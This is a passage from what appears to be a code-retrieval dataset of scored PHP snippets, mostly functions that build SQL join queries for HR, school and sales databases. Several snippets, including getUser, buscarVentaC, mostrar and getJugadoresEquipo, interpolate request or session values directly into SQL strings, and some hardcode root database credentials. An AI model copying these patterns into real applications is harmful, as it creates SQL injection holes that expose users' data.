'e.cadre', 'e.facility', 'e.district', 'e.region'));\n \n\t\t $this->db->from('providerdata as e');\n\t\t \n\t\t $i = 0;\n\t \n\t\t foreach ($this->column_search as $item) // loop column \n\t\t {\n\t\t\t if($_POST['search']['value']) // if datatable send POST for search\n\t\t\t {\n\t\t\t\t \n\t\t\t\t if($i===0) // first loop\n\t\t\t\t {\n\t\t\t\t\t $this->db->group_start(); // open bracket. query Where with OR clause better with bracket. because maybe can combine with other WHERE with AND.\n\t\t\t\t\t $this->db->like($item, $_POST['search']['value']);\n\t\t\t\t }\n\t\t\t\t else\n\t\t\t\t {\n\t\t\t\t\t $this->db->or_like($item, $_POST['search']['value']);\n\t\t\t\t }\n \n\t\t\t\t if(count($this->column_search) - 1 == $i) //last loop\n\t\t\t\t\t $this->db->group_end(); //close bracket\n\t\t\t }\n\t\t\t $i++;\n\t\t }\n\t\t \n\t\t if($_POST['order']) // here order processing\n\t\t {\n\t\t\t $this->db->order_by($this->column_order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']);\n\t\t } \n\t\t else if($this->porder)\n\t\t {\n\t\t\t $porder = $this->porder;\n\t\t\t $this->db->order_by(key($porder), $porder[key($porder)]);\n\t\t }\n\t }", "title": "" }, { "docid": "456730ac8aeb6f6eebcd494ef1cbf7af", "score": "0.539373", "text": "function join_travel_table(){\n global $db;\n $sql =\" SELECT p.id,p.modelo,p.matricula,c.name\";\n $sql .=\" AS categorie\";\n $sql .=\" FROM vehiculos p\";\n $sql .=\" LEFT JOIN categories c ON c.id = p.categorie_id\";\n $sql .=\" ORDER BY p.id ASC\";\n return find_by_sql($sql);\n\n }", "title": "" }, { "docid": "1c71c4d356f7186759746073c7b41b34", "score": "0.539291", "text": "function all_designation_details()\n \n {\n $query= \"SELECT designation.des_id as des_id, designation.des_name as des_name,designation.dep_id as dep_id,department.dep_name as dep_name ,company.comp_id as comp_id, company.comp_name as comp_name FROM designation INNER JOIN department ON department.dep_id = designation.dep_id INNER JOIN company ON company.comp_id =department.comp_id\";\n\n $result=$this->db->select($query);\n return $result;\n }", "title": "" }, { "docid": "593bbd0725ff7745ea4220a987689d35", "score": "0.5392365", "text": "private function getEmpQuery()\n\t {\n\t\t if ($this->input->post('fullname')) {\n\t\t\t $this->db->like('concat_ws(\" \", e.firstname, e.surname)', $this->input->post('fullname'), 'both');\n\t\t }\n\t\t if ($this->input->post('cadre')) {\n\t\t\t $this->db->like('e.cadre', $this->input->post('cadre'), 'both');\n\t\t }\n\t\t if ($this->input->post('contact')) {\n\t\t\t $this->db->like('e.mobile', $this->input->post('contact'), 'both');\n\t\t }\n\t\t if ($this->input->post('district')) {\n\t\t\t $this->db->like('e.district', $this->input->post('district'), 'both');\n\t\t }\n \n\t\t $this->db->select(array('e.pid', 'concat_ws(\" \", e.firstname, e.surname , e.othername) as fullname', 'e.gender', 'e.email', 'e.mobile', 'e.cadre', 'e.facility', 'e.district'));\n \n\t\t $this->db->from('providerdata as e');\n\t\t \n\t\t $i = 0;\n\t \n\t\t foreach ($this->pcolumn_search as $item) // loop column \n\t\t {\n\t\t\t if($_POST['search']['value']) // if datatable send POST for search\n\t\t\t {\n\t\t\t\t \n\t\t\t\t if($i===0) // first loop\n\t\t\t\t {\n\t\t\t\t\t $this->db->group_start(); // open bracket. query Where with OR clause better with bracket. because maybe can combine with other WHERE with AND.\n\t\t\t\t\t $this->db->like($item, $_POST['search']['value']);\n\t\t\t\t }\n\t\t\t\t else\n\t\t\t\t {\n\t\t\t\t\t $this->db->or_like($item, $_POST['search']['value']);\n\t\t\t\t }\n \n\t\t\t\t if(count($this->pcolumn_search) - 1 == $i) //last loop\n\t\t\t\t\t $this->db->group_end(); //close bracket\n\t\t\t }\n\t\t\t $i++;\n\t\t }\n\t\t \n\t\t if($_POST['order']) // here order processing\n\t\t {\n\t\t\t $this->db->order_by($this->pcolumn_order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']);\n\t\t } \n\t\t else if($this->order)\n\t\t {\n\t\t\t $order = $this->order;\n\t\t\t $this->db->order_by(key($order), $order[key($order)]);\n\t\t }\n\t }", "title": "" }, { "docid": "82949f3d5c92902c0c76b29a53137513", "score": "0.53827244", "text": "function chemistryMsc2P3A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=313\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "f161ba9ac8c4a5e2cccf8d2cfc782c90", "score": "0.5374505", "text": "function join_scout_table_new($patrol){\n global $db;\n $sql =\" SELECT id, first_name, last_name, patrol, date FROM Scouts WHERE patrol='{$db->escape($patrol)}'\n\tORDER BY last_name, first_name\";\n return find_by_sql($sql);\n}", "title": "" }, { "docid": "9a934dadc59f16a985749c0badedbb9a", "score": "0.5365109", "text": "function getProjetMotCles($idProjet) {\n\n $requete_prepare=$this->connexion->prepare(\n \"SELECT nom FROM MotCles m\n INNER JOIN MotCles_projet\n ON idMotCles = m.id\n WHERE idProjet = :id\");\n\n $requete_prepare->execute(\n array(\"id\"=> $idProjet));\n\n $motClesProjet = $requete_prepare->fetchAll(PDO::FETCH_OBJ);\n\n return $motClesProjet;\n\n}", "title": "" }, { "docid": "6791e733babd08c33cd572d695e790ce", "score": "0.5357071", "text": "public function fetchUser(){\n\n $conn = Db::getConnection();\n\n $userId = $this->getUserId();\n $statement = $conn->prepare(\"SELECT * FROM interesses JOIN users ON users.id = :id AND users.id = interesses.userId\");\n \n $statement->bindParam(\":id\", $userId);\n $statement->execute();\n $result = $statement->fetch(PDO::FETCH_ASSOC);\n return $result;\n\n}", "title": "" }, { "docid": "f90497201545fb4263d3e1cf3ae29478", "score": "0.5354991", "text": "public function employmentdata($employ_id)\n {\n \t$connection = \\Yii::$app->db;\n \n \t$sql=\"SELECT * FROM tbl_aca_payroll_employment_period WHERE employee_id=:employee_id\";\n \n \t//$sql=\"SELECT * FROM tbl_aca_payroll_data tpd LEFT JOIN tbl_aca_payroll_employment_period tep ON tpd.employee_id=tep.employee_id WHERE tpd.company_id=\".$company_id.\"\";\n \n \t$user = $connection->createCommand($sql);\n \t\n \t$user->bindValue(':employee_id', $employ_id);\n \t\n \t$users = $user->query();\n \t \n \treturn $users;\n }", "title": "" }, { "docid": "f982691ff9501945a4c7337f43f5dd8b", "score": "0.5348295", "text": "public function activities(){\n\n $conn=$this->connexion(\"projet_tdw\",\"127.0.0.1\",\"root\",\"\");\n $emailEleve= $_SESSION[\"email\"];\n $req= \"SELECT * FROM utilisateur as u join activite as a on u.ID=a.eleveID where Email='$emailEleve'\";\n $r= $this->requete($conn,$req);\n return $r;\n $this->deconnexion($conn);\n}", "title": "" }, { "docid": "71de0ff3e26dc410bc0edfb40566fcfa", "score": "0.5347803", "text": "public function getJugadoresEquipo($id_equipo){\n $sql = \"SELECT e.logo,e.nombre,j.nombre,j.img_src,j.edad,j.id,u.user FROM equipo e\n\t INNER JOIN jugador_equipo je on (je.id_equipo = e.id)\n \t INNER JOIN jugador j on (j.id = je.id_jugador)\n \tLEFT JOIN usuario u on (u.id = j.id_usuario)\n WHERE e.id = '$id_equipo'\";\n $result = $this->db->conn->query($sql);\n if(!$result===FALSE){\n $result = $result->fetchAll();\n }\n return $result;\n}", "title": "" }, { "docid": "faa98dc56126d488e0b69bed414304b7", "score": "0.53427976", "text": "public function getEmplois($idclasse){\n $query = \"SELECT e.*, m.*, p.* \"\n . \"FROM emplois e \"\n . \"INNER JOIN enseignements ee ON ee.CLASSE = :idclasse AND ee.IDENSEIGNEMENT = e.IDENSEIGNEMENT \"\n . \"INNER JOIN matieres m ON m.IDMATIERE = ee.MATIERE \"\n . \"INNER JOIN personnels p ON p.IDPERSONNEL = ee.PROFESSEUR \"\n . \"ORDER BY e.HEUREDEBUT\";\n return $this->query($query, [\"idclasse\" => $idclasse]);\n }", "title": "" }, { "docid": "8972e54d3cef65aa15dfd514e92b594d", "score": "0.5338921", "text": "function chemistryMsc2P4A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=318\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "84fb0ab9b41dabc204e97b967c196cd2", "score": "0.5335662", "text": "public function entregado() {\n return $this->db\n ->select(format_select(array(\n 'cirugia.idCirugia' => 'id_cirugia',\n 'empleado.idEmpleado' => 'id_empleado',\n 'empleado.matricula' => 'matricula',\n 'empleado.nombre' => 'nombre',\n 'empleado.apellido_paterno' => 'a_paterno',\n 'empleado.apellido_materno' => 'a_materno',\n 'especialidad.nombre' => 'especialidad'\n )))\n ->join('usuario','tipo_usuario.idTipo_Usuario = usuario.idTipo_Usuario')\n ->join('empleado','empleado.idEmpleado = usuario.idEmpleado')\n ->join('departamento','departamento.idDepartamento = tipo_usuario.idDepartamento')\n ->join('especialidad','especialidad.idEspecialidad = departamento.idEspecialidad')\n ->join('proceso_tipo_usuario','proceso_tipo_usuario.idTipo_Usuario = tipo_usuario.idTipo_Usuario')\n ->join('proceso','proceso.idProceso = proceso_tipo_usuario.idProceso')\n ->join('cirugia','cirugia.idProceso = proceso.idProceso AND cirugia.status = \"1\"')\n ->join('cirugia_material_osteosintesis','cirugia.idCirugia = cirugia_material_osteosintesis.idCirugia')\n ->join('estado_componente','cirugia_material_osteosintesis.idestado_componente = estado_componente.idestado_componente AND estado_componente.nombre = \"Aceptado\"')\n ->get('tipo_usuario')\n ->result_array();\n }", "title": "" }, { "docid": "56b402a1b10bb0f384a27a0bb0cd4d4f", "score": "0.5321086", "text": "public function getUserCoOrientador($perfil_id){\n $id= $this->getUserId($perfil_id);\n $get = new AccessDB(\"SELECT user_name,email,email_pessoal,perfil_id FROM utilizador WHERE id=(select coorientador_id from projeto where utilizador_id=\".$id.\")\");\n $response=$get->procurar();\n return $response;\n}", "title": "" }, { "docid": "0e46321a28d9dd29392eb596adf3f121", "score": "0.5316928", "text": "function getUserEducationDetails($user_id) {\n \n //echo $select;\n $select = $this->pdo->prepare(\"SELECT *, user_educations.id as educationsid FROM user_educations\n \t\tLEFT JOIN users ON user_educations.user_id = users.id\n \t\tWHERE users.id=?\");\n $select->execute(array($user_id));\n \n while ($row = $select->fetch(PDO::FETCH_ASSOC)) {\n $user_details[] = $row;\n }\n \n return $user_details;\n }", "title": "" }, { "docid": "60fc8711fab0790bb169fb9ad5cf602a", "score": "0.52922034", "text": "public function qry_all_employee()\n {\n $sql = \"SELECT PK_EMPLOYEE,C_NAME FROM t_ps_employee\";\n return $this->db->getAll($sql);\n }", "title": "" }, { "docid": "aa0d8c082ce18fea8983aeb1e4f95803", "score": "0.5290565", "text": "function chemistryMsc1P3A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=238\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "bc70f6949b13fe5cf186b5a2961b20d0", "score": "0.52860016", "text": "public function getUser($email){\n $q = $this->db->query(\"SELECT * FROM user u LEFT JOIN universitas un on u.id_univ=un.id_univ LEFT JOIN dosen d on u.id_user = d.id_user LEFT JOIN mahasiswa m on u.id_user = m.id_user WHERE u.email='$email'\");\n return $q;\n }", "title": "" }, { "docid": "00634a47ef6c627b6cd2191195adc8f6", "score": "0.5280092", "text": "public function getEmpMG($con)\n {\n $result=$this->adapter->query('select a.CedEmp, a.activo, a.id, a.nombre, a.apellido, b.codigo as codCar, \n b.nombre as nomCar, c.id as idCcos, c.nombre as nomCcos,\n idVac, vacAct, idInc, d.nombre as nomSal, e.nombre as nomPen,\n f.nombre as nomCes, g.nombre as nomArp, concat(r.nombre,\" (\",r.porc,\")\") as nomRiesgo, r.porc as porRiesgo, r.tipo as tipRiesgo,\n g.nombre as nomFav, h.nombre as nomFafc, ii.nombre as nomCaja , \n j.nombre as nomTcon, k.nombre as nomTemp, m.nombre as nomGrup,\n n.nombre as nomTau1, o.nombre as nomTau2, p.nombre as nomTau3, \n q.nombre as nomTau4, a.sueldo, a.FecNac, a.fecIng, a.DirEmp , a.TelEmp, \n a.email, \n( select con.fechaI from n_emp_contratos con where con.idEmp=a.id order by id limit 1 ) as fecIng, \n ( DATEDIFF( now() , a.fecIng ) ) as dias,\n round( ( DATEDIFF( now() , a.fecIng ) ) / 365 , 0 ) as anos, s.nombre as nomBanco, a.numCuenta, \n \n #Demas datos de talento humano \n a.estatura, case a.sangre \n when 0 then \"O-\"\n when 1 then \"O+\" \n when 2 then \"A-\"\n when 7 then \"A+\"\n when 4 then \"B-\"\n when 3 then \"B+\"\n when 5 then \"AB-\"\n when 6 then \"AB+\" \n end as sangre, \n \n a.operaciones, a.enfermedades , a.lentes, t.nombre as nomCiu,\n u.nombres as nomFami, \n case a.sangre \n when 1 then \"Mama\"\n when 2 then \"Papa\"\n when 3 then \"Esposo\"\n when 4 then \"Hijo\"\n when 5 then \"Abuelo\" end parente, a.imagen , rr.nombre as nomSed \n \n from a_empleados a \n inner join t_cargos b on a.idCar=b.id\n inner join n_cencostos c on a.idCcos=c.id \n inner join t_fondos d on d.id=a.idFsal\n inner join t_fondos e on e.id=a.idFpen\n left join t_fondos f on f.id=a.idFces\n left join t_fondos g on g.id=a.idFarp \n left join t_fondos h on h.id=a.idFav \n left join t_fondos i on i.id=a.idFafc\n left join t_fondos ii on ii.id=a.idCaja \n left join a_tipcon j on j.id=a.IdTcon \n left join n_tipemp k on k.id=a.idTemp \n left join n_grupos m on m.id=a.idGrup \n left join n_tip_auto n on n.id=a.idTau\n left join n_tip_auto o on o.id=a.idTau2\n left join n_tip_auto p on p.id=a.idTau3\n left join n_tip_auto q on q.id=a.idTau4 \n left join n_tarifas r on r.id = a.idRies\n left join n_bancos s on s.id = a.idBanco \n left join n_ciudades t on t.id = a.idCiu \n left join a_empleados_f u on u.idEmp = a.id \n left join t_sedes rr on rr.id = a.idSed \n where a.id > 0 '.$con.\" group by a.id order by a.nombre,a.apellido\" ,Adapter::QUERY_MODE_EXECUTE);\n $datos=$result->toArray();\n return $datos;\n }", "title": "" }, { "docid": "754141037a5f2aeb994834ac0d5b6612", "score": "0.527366", "text": "function chemistryBsc2P3A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=138\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "b5a3f1b0d8ccca03f812da118ac6c84c", "score": "0.5273572", "text": "public function SelecRelacion() {\n \n $db= new conexion(); \t \n\t\t\t \n$cadena = \"SELECT * FROM tbservicios INNER JOIN tbrelacioncotserv ON tbservicios.Id = tbrelacioncotserv.Cod_Serv WHERE tbrelacioncotserv.Num_Cot='$this->Num_Cot'\";\n\t\t \n $ejecutor = $db->query($cadena);\n \nreturn($ejecutor);\n \n }", "title": "" }, { "docid": "1f5b416df211e67a37145aba704082e4", "score": "0.52716726", "text": "function buscarVentaC($valor,$opcion){\n try {\n //Conección y ejecución del query\n $sql = \"SELECT * FROM ventascontribuyente INNER JOIN clientes ON ventascontribuyente.idCliente=clientes.idCliente WHERE ventascontribuyente.$opcion='$valor'\";\n $con=connect();\n $resultado=mysqli_query($con,$sql);\n $con=null;\n return $resultado;\n } catch (Exception $e) {\n die(e->getMessage());\n }\n}", "title": "" }, { "docid": "bdbdc3c4d2c9da625332f06d8f48cdd3", "score": "0.52650905", "text": "function GetAcopios(){\n $sentencia = $this->db->prepare(\"\n SELECT * FROM materiales_acopiados ma\n JOIN cartonero c ON ma.id_cartonero=c.dni\n ;\");\n $sentencia->execute();\n return $sentencia->fetchAll(PDO::FETCH_OBJ);\n }", "title": "" }, { "docid": "d1760fb1bb66119c23134fdc8d048447", "score": "0.5258574", "text": "public function getUserOrientador($perfil_id){\n $id= $this->getUserId($perfil_id);\n $get = new AccessDB(\"SELECT user_name,email,email_pessoal,perfil_id FROM utilizador WHERE id=(select orientador_id from projeto where utilizador_id=\".$id.\")\");\n $response=$get->procurar();\n return $response;\n\n}", "title": "" }, { "docid": "caa05ad32a5942eec24ccc01e95beeb9", "score": "0.5251103", "text": "public function run()\n {\n $sql = \"INSERT INTO emps\"\n . \" SELECT \n emp_id as `id`,\n emp_dir as `dirid`,\n emp_sid as `empcode`,\n emp_cm as `cm`,\n emp_nm as `nm`,\n emp_name as `name`,\n emp_tname as `thname`,\n emp_date as `indate`,\n emp_retire as `retireage`,\n emp_retired as `xdate`,\n emp_q as `qcode`,\n emp_qdate as `qdate`,\n\n emp_bplace as `bplace`,\n emp_relg as `relg`,\n emp_raddr as `address`,\n emp_house as `house`,\n emp_tel as `tel`,\n emp_mtel as `mobile`,\n emp_edu as `edu`,\n emp_car as `car`,\n emp_blood as `blood`,\n emp_wg as `weight`,\n emp_hg as `height`,\n emp_military as `military`,\n\n emp_cls as `cls`,\n emp_org as `org`,\n emp_cm_pos as `post`,\n emp_job as `job`,\n erp.c_erp as `cc`,\n\n emp_fdate as `pvdate`,\n emp_fcode as `pvcode`,\n pay_fund as `pvcom`,\n emp_fund as `pvemp`,\n emp_fedate as `pvxdate`,\n\n pay_amt as `pwage`,\n pay_pos as `ppost`,\n pay_food as `pfood`,\n pay_house as `phouse`,\n if(emp_cm=553,0,pay_live) as `pcls`,\n if(emp_cm=553,pay_live,0) as `plive`,\n pay_trans as `pfuel`,\n pay_tuition as `pedu`,\n if(emp_id in (477,638,769), 0, pay_oth) as `pdg`,\n if(emp_id in (477,638,769), pay_oth,0) as `pmove`,\n\n emp_code as `taxcode`,\n emp_sex as `sex`,\n emp_nation as `nation`,\n emp_bdate as `bdate`,\n emp_addr as `haddr`,\n emp_card as `cardno`,\n\n 5 as `CREATED_BY`, \n now() as `CREATED_AT`, \n 5 as `UPDATED_BY`, \n now() as `UPDATED_AT` \n\n FROM admin_hctdb.tbemployee\n LEFT JOIN admin_hctdb.tbcommon AS erp ON erp.c_id = emp_erp\n ORDER BY emp_id;\";\n \n DB::statement($sql);\n }", "title": "" }, { "docid": "d868772715e81f4e55e0d2ed19dc352d", "score": "0.52421016", "text": "function physicsBsc2P3A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=123\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "f954f0d5a24066ea2556ac8940d9d53f", "score": "0.52412724", "text": "function chemistryNetA(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=58\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "9d973466970a570d3b3fe20f7133c49a", "score": "0.5238406", "text": "function selectEmployeeRequests(){\r\n $stmt = $this->conn->prepare(\"SELECT * FROM employeeRequests, employeeShifts, employees WHERE employeeRequests.scheduleID = employeeShifts.scheduleID AND employeeRequests.employeeID = employees.employeeID ORDER BY employeeCoveringID ASC\");\r\n $stmt->execute();\r\n $result = $stmt->get_result();\r\n $stmt->close();\r\n return $result;\r\n }", "title": "" }, { "docid": "4ebc99d6f841da05773ab645d2c56dd0", "score": "0.5237121", "text": "public function sql_from()\n {\n return \"FROM t_Fee INNER JOIN t_Area ON F_AreaID_ind_fk = A_AreaID_pk INNER JOIN t_Project ON A_ProjectID_fk = P_ProjectID_pk INNER JOIN t_Section ON P_SectionID_fk = S_SectionID_pk INNER JOIN t_Branch ON S_BranchID_fk = B_BranchID_pk \";\n }", "title": "" }, { "docid": "59a3f7529334b3b18d3b5528329268cd", "score": "0.5235357", "text": "public function mostrar($idingreso){\n$sql = \"SELECT i.idingreso, DATE(i.fecha_hora) as fecha, i.idproveedor, p.nombre as proveedor, u.idusuario,u.nombre as usuario, i.tipo_comprobante, i.serie_comprobante,i.num_comprobante, i.total_compra, i.impuesto,i.estado\nFROM ingreso i \nINNER JOIN persona p \nON i.idproveedor = p.idpersona \nINNER JOIN usuario u\nON i.idusuario = u.idusuario \nWHERE i.idingreso = '$idingreso'\";\nreturn ejecutarConsultaSimpleFila($sql);\n}", "title": "" }, { "docid": "ea65f2551dacf6c3cd18e271177dc039", "score": "0.52326304", "text": "public function fetch_emp(){\n\t\t$this->db->select('*');\n\t\t$this->db->from('employee');\n\t\t$query=$this->db->get();\n $data=$query->result();\n return $data;\n }", "title": "" }, { "docid": "2712167fd5fe84952fc72951a52728f7", "score": "0.5229976", "text": "function sql_query_notas( $e23_sequencial=null,$campos=\"*\",$ordem=null,$dbwhere=\"\"){ \n $sql = \"select \";\n if($campos != \"*\" ){\n $campos_sql = split(\"#\",$campos);\n $virgula = \"\";\n for($i=0;$i<sizeof($campos_sql);$i++){\n $sql .= $virgula.$campos_sql[$i];\n $virgula = \",\";\n }\n }else{\n $sql .= $campos;\n }\n $sql .= \" from retencaoreceitas \";\n $sql .= \" inner join retencaotiporec on retencaotiporec.e21_sequencial = retencaoreceitas.e23_retencaotiporec\";\n $sql .= \" inner join retencaopagordem on retencaopagordem.e20_sequencial = retencaoreceitas.e23_retencaopagordem\";\n $sql .= \" inner join tabrec on tabrec.k02_codigo = retencaotiporec.e21_receita\";\n $sql .= \" inner join retencaotipocalc on retencaotipocalc.e32_sequencial = retencaotiporec.e21_retencaotipocalc\";\n $sql .= \" inner join pagordem on pagordem.e50_codord = retencaopagordem.e20_pagordem\";\n $sql .= \" inner join pagordemnota on pagordem.e50_codord = pagordemnota.e71_codord\";\n $sql .= \" inner join empnota on pagordemnota.e71_codnota = empnota.e69_codnota\";\n $sql .= \" inner join retencaoempagemov on e23_sequencial = e27_retencaoreceitas\";\n $sql .= \" left join empagemovslips on e27_empagemov = k107_empagemov\";\n $sql .= \" left join slipempagemovslips on k107_sequencial = k108_empagemovslips\";\n $sql2 = \"\";\n if($dbwhere==\"\"){\n if($e23_sequencial!=null ){\n $sql2 .= \" where retencaoreceitas.e23_sequencial = $e23_sequencial \"; \n } \n }else if($dbwhere != \"\"){\n $sql2 = \" where $dbwhere\";\n }\n $sql .= $sql2;\n if($ordem != null ){\n $sql .= \" order by \";\n $campos_sql = split(\"#\",$ordem);\n $virgula = \"\";\n for($i=0;$i<sizeof($campos_sql);$i++){\n $sql .= $virgula.$campos_sql[$i];\n $virgula = \",\";\n }\n }\n return $sql;\n }", "title": "" }, { "docid": "cb40fc3ead5271d4b117b7cbadee4afb", "score": "0.5228169", "text": "public function AfficherEleveInfos(){\n\n $conn=$this->connexion(\"projet_tdw\",\"127.0.0.1\",\"root\",\"\");\n $emailEleve= $_SESSION[\"email\"];\n $req= \"SELECT * FROM utilisateur as u join anneescolaire as a on u.ID=a.eleveID where Email='$emailEleve'\";\n $r= $this->requete($conn,$req);\n return $r;\n $this->deconnexion($conn);\n}", "title": "" }, { "docid": "4313a0d40003a6ca2f3d61ca8aaf2df8", "score": "0.52263653", "text": "public function tramitecer_asignados_inspeccion()\n {\n $empresa_tramite=Zona_inspeccion::select('et.et_id','_zona.zon_nombre','per_nombres','per_apellido_primero','per_apellido_segundo','ess.ess_avenida_calle','ess.ess_numero', 'et.tra_id', 'et.et_numero_tramite', 'et.et_vigencia_pago', 'et.et_fecha_ini', 'et.et_estado_pago', 'et.et_estado_tramite', 'et.et_monto', 'et.et_tipo_tramite','ess.ess_id','ess.ess_razon_social', 'ess.ess_telefono', 'ess.ess_correo_electronico', 'ess.ess_tipo','empresa.emp_id','empresa.ess_id', 'empresa.emp_kardex', 'te.te_id', 'te.te_estado', 'te.te_fecha', 'etapa.eta_id', 'propietario.pro_id','propietario.pro_tipo','ess.ess_id as ess_propietario','ess.ess_id as ess_ci_nit','te.updated_at','te.te_id as fi_id ')\n ->join('_zona','_zona.zon_id','=','zona_inspeccion.zon_id')\n ->join('funcionario','funcionario.fun_id','=','zona_inspeccion.fun_id')\n ->join('persona','persona.per_id','=','funcionario.per_id')\n ->join('establecimiento_solicitante as ess','ess.zon_id','=','_zona.zon_id')\n ->join('empresa_tramite as et','et.ess_id','=','ess.ess_id')\n ->join('empresa','empresa.ess_id','=','et.ess_id')\n ->join('empresa_propietario as ep','ep.emp_id','=','empresa.emp_id')\n ->join('propietario','propietario.pro_id','=','ep.pro_id')\n ->join('tramitecer_estado as te', 'te.et_id', '=', 'et.et_id')\n ->join('etapa', 'etapa.eta_id', '=', 'te.eta_id')\n ->where('te.eta_id', '=', 1)\n ->where('te.te_estado', '=', 'APROBADO')\n ->orderBy('te.updated_at','asc')\n ->distinct()\n ->get();\n\n \n for ($i=0; $i < count($empresa_tramite); $i++) {\n if($empresa_tramite[$i]->pro_tipo==\"J\")\n {\n $pjuridica=PersonaJuridica::select('pjur_razon_social','pjur_nit')\n ->where('p_juridica.pro_id',$empresa_tramite[$i]->pro_id)\n ->first();\n $empresa_tramite[$i]->ess_propietario=$pjuridica->pjur_razon_social;\n $empresa_tramite[$i]->ess_ci_nit=$pjuridica->pjur_nit;\n }else{\n $pnatural=PersonaNatural::select('per_nombres','per_apellido_primero','per_apellido_segundo','per_ci')\n ->join('persona','persona.per_id','=','p_natural.per_id')\n ->where('p_natural.pro_id',$empresa_tramite[$i]->pro_id)\n ->first();\n $empresa_tramite[$i]->ess_propietario=$pnatural->per_nombres.' '.$pnatural->per_apellido_primero.' '.$pnatural->per_apellido_segundo;\n $empresa_tramite[$i]->ess_ci_nit=$pnatural->per_ci;\n }\n $et_id=$empresa_tramite[$i]->et_id;\n $ficha_inspeccion=Ficha_inspeccion::select('fi_id')\n ->where('et_id',$et_id)\n ->first();\n if($ficha_inspeccion){\n $empresa_tramite[$i]->fi_id=$ficha_inspeccion->fi_id;\n }else{\n $empresa_tramite[$i]->fi_id=null;\n }\n }\n\n \n if (!$empresa_tramite) {\n return response()->json(['errors'=>array(['code'=>404, 'message'=>'No se encuentran registros.'])],404);\n }\n return response()->json(['status'=>'ok',\"mensaje\"=>\"Lista estado\",'empresa_tramite'=>$empresa_tramite], 200);\n\n }", "title": "" }, { "docid": "af98c8d9d9385f0be7de6b39bc0b2557", "score": "0.52056193", "text": "function chemistryBsc3P2A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=178\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "99c8cf13f16d964ac80e69fdecaa36f5", "score": "0.5202038", "text": "function chemistryBsc1P2A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=88\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "4ef2e81a55ed412b1636634d1569a40e", "score": "0.52004683", "text": "public function sql_query($r11_anousu = null, $r11_mesusu = null, $r11_instit = null, $campos = \"*\", $ordem = null, $dbwhere = \"\")\n {\n\n $sql = \"select {$campos}\";\n $sql .= ' from cfpess';\n $sql .= ' inner join db_config on db_config.codigo = cfpess.r11_instit';\n $sql .= ' left join db_estrutura on db_estrutura.db77_codestrut = cfpess.r11_codestrut';\n $sql .= ' left join inflan on r11_infla = i01_codigo';\n $sql .= ' left join rhbases on r11_baseipe = rh32_base';\n $sql .= ' left join conhist on r11_histslip = c50_codhist';\n $sql .= ' inner join cgm on cgm.z01_numcgm = db_config.numcgm';\n $sql .= ' inner join db_tipoinstit on db_tipoinstit.db21_codtipo = db_config.db21_tipoinstit';\n $sql .= ' left join db_tabelavalores on db_tabelavalores.db149_sequencial = cfpess.r11_tabelavaloresrra';\n $sql2 = '';\n if (empty($dbwhere)) {\n if (!empty($r11_anousu)) {\n $sql2 .= \" where cfpess.r11_anousu = {$r11_anousu} \";\n }\n if (!empty($r11_mesusu)) {\n if (!empty($sql2)) {\n $sql2 .= \" and \";\n } else {\n $sql2 .= \" where \";\n }\n\n $sql2 .= \" cfpess.r11_mesusu = {$r11_mesusu} \";\n }\n if (!empty($r11_instit)) {\n if (!empty($sql2)) {\n $sql2 .= \" and \";\n } else {\n $sql2 .= \" where \";\n }\n $sql2 .= \" cfpess.r11_instit = {$r11_instit} \";\n }\n } else if (!empty($dbwhere)) {\n $sql2 = \" where {$dbwhere}\";\n }\n $sql .= $sql2;\n if (!empty($ordem)) {\n $sql .= \" order by {$ordem}\";\n }\n return $sql;\n }", "title": "" }, { "docid": "c71b634652337c734237f8ea67fdbb70", "score": "0.5198195", "text": "function haePoints($db, $id) {\n $sql = <<<SQLEND\n SELECT part.name, capital, flag, animal, flower from points \n INNER JOIN part WHERE points.part_id = part.id AND points.user_id=:id\nSQLEND;\n\n $stmt = $db->prepare($sql);\n $stmt->bindValue(':id', \"$id\", PDO::PARAM_STR);\n $stmt->execute();\n return $stmt;\n}", "title": "" }, { "docid": "310fdf744ef4989b2b4665599c98d7ff", "score": "0.5196043", "text": "function chemistryBsc3P3A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=183\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "0591ab583cac70ac5fd0d62fc6af2326", "score": "0.51959884", "text": "function getEtudiantListeMotCles($idEtudiant) {\n\n $requete_prepare=$this->connexion->prepare(\n \"SELECT * FROM MotCles m\n INNER JOIN MotCles_etudiant\n ON idMotCles = m.id\n WHERE idEtudiant = :id\");\n\n $requete_prepare->execute(\n array(\"id\"=> $idEtudiant));\n\n $motClesEtudiant = $requete_prepare->fetchAll(PDO::FETCH_OBJ);\n\n return $motClesEtudiant;\n\n}", "title": "" }, { "docid": "96fe9b837b40153390e243cac49d762a", "score": "0.51946586", "text": "function chemistryMsc1P1A(){\n $data=\"select * from student_record a inner join student_data b on a.id=b.student_id where batch=228\";\n $data= $this->db->query($data);\n return $data->result();\n }", "title": "" }, { "docid": "6caf4c2cc6d9471188f4d8a988c62408", "score": "0.51889426", "text": "public function getemphodid(){\n\t\t$selectfield='emp_id';\n $whdata = array ('emp_leaving' => NULL,'emp_dor>='=>date('Y-m-d'),'hl_status'=>'Fulltime','hl_dateto'=> '1000-01-01 00:00:00');\n\n\t\t$joincond = 'employee_master.emp_code = hod_list.hl_empcode';\n //$emp_data['hodempid']=$this->sismodel->get_jointbrecord('hod_list',$selectfield,'employee_master',$joincond,'LEFT',$whdata);\n $emphodempid = 